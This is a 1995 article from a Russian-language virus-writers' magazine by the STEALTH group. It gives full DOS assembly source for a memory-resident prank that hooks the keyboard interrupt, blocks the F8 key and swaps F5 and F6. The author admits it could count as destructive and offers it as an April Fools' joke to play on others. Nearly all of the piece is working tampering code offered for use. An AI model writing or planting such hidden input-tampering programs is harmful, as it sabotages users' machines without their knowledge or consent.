      
          ▄▄                  █
         ▀▀▀ Monthly Magazine █ For VirMakers.                  APR '95
 	 ▀██ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ █ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ ▀ ▀▀▀▀▐▀▀▀  ██▀▀▀██
	  ▐█ █▀▄ █▀▀ ▄▀▀ ▄▀▀ ▄█▄ ▄▀▀ █▀█    ▌ █ ▄▀█ █ ▄▀▀ █▄▄   ██ ▀▀██
	   █ █ █ █▀  █▀  █    █  █▀  █ █    █ █ █ █ █ █   █     ██ █ ██
	   █ ▐ ▐ ▐   ▐▄▄ ▐▄▄  ▐  ▐▄▄ ▐▄▀     ▀█ ▀▄█ ▐ ▐▄▄ ▐▄▄▄  ██▄▄▄██
	   ▐ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄
	     (C) Copyright, 1994-95, by STEALTH group, unLtd.
 	
; Перед вами демонстрационная программа, которая производит перестановки
; значений некоторых клавиш,  что при определенных обстоятельствах может
; быть расценено как деструктивная функция.   Но в некоторых случаях она
; может быть использована как защита файлов от юзера.
; Выполняется блокирование F8 и "перепутывание" F5 и F6.

  .model tiny
  .code
  org 100h
  start:
  	  mov ax,3516h
	  int 21h
	  mov off16,bx
          mov seg16,es
	  lea dx,int16Entry
          mov ax,2516h
    	  int 21h
	  lea dx,lenProg
	  int 27h
  int16Entry:            ; точка входа для прерывания int 16h
                         ; устанавливается, либо через функции DOS.
          or  ah,ah      ; проверка на функцию 'читать символ с клавиатуры'
          jne exitInt16  ; вызывается 80%-ми программ
callInt16:
          xor ah,ah      ; это нам понадобится для повторного вызова int 16h
          pushf          ; сохранение флагов необходимо для корректного
                         ; выполнения команды iret
          db  9Ah        ; код команды call far. Вызвать старый обработчик.
  off16   dw  0          ; смещение для 16-го вектора. Возвращается в BX
                         ; функцией DOS
  seg16   dw  0          ; сегмент для того же вектора. Возвращается в ES
          or  al,al
          jz  checkCod
          iret
  exitInt16:
          jmp dword ptr cs:off16
; F1 - 59|F2 - 60|F3 - 61|F4 - 62|F5 - 63|F6 - 64|F7 - 65|F8 - 66|F9 - 67
checkCod:
          cmp ah,42h      	; код клавиши F8
          je  callInt16  	; забиваем нажатие клавиши F8,
	  			; вызывая повторно 16-е прерывание
; Теперь переустановим клавишу F5 на F6 и наоборот.
; Начнем фрагмент с метки checkCod:
checkCod1:
          cmp ah,3Fh     ; это F5 ?
          jne checkNextKey
          mov ah,40h     ; да, а теперь это F6
          iret
checkNextKey:
          cmp ah,40h     ; это F6 ?
          jne checkNextKey1
          mov ah,3Fh     ; да, а теперь это F5
checkNextKey1:          ; простой выход их 16-го прерывания
          iret
lenProg:
	  end	start

; Надеюсь что вам понравиться предложенная шутка,
; которая здорово повеселит вас 1 апреля.
; ─────────────────────────────────────────────────────────────────────────
; ──────────────── Remember Where You Saw This Phile First ────────────────
; ───────[=] ARRESTED DEVELOPMENT +31.77.3547477 The Netherlands [=]───────
; ─────────────────────────────────────────────────────────────────────────
